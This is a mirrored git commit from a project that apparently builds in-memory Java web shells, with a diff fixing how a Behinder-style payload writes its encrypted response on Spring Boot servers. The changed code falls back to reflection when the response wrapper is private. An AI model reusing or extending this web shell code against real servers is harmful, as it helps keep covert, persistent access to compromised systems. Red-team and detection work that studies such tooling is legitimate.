mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
fix: behinder outputStream methodNotFound
This commit is contained in:
@@ -32,10 +32,15 @@ public class Test {
|
||||
result.put("status", "success");
|
||||
} finally {
|
||||
try {
|
||||
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
|
||||
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
|
||||
getOutputStreamMethod.setAccessible(true);
|
||||
Object so = getOutputStreamMethod.invoke(this.Response);
|
||||
Object so = null;
|
||||
try {
|
||||
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
|
||||
} catch (Exception e) {
|
||||
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
|
||||
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
|
||||
getOutputStreamMethod.setAccessible(true);
|
||||
so = getOutputStreamMethod.invoke(this.Response);
|
||||
}
|
||||
Method write = so.getClass().getMethod("write", byte[].class);
|
||||
String jsonStr = this.buildJson(result, true);
|
||||
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
|
||||
|
||||
Reference in New Issue
Block a user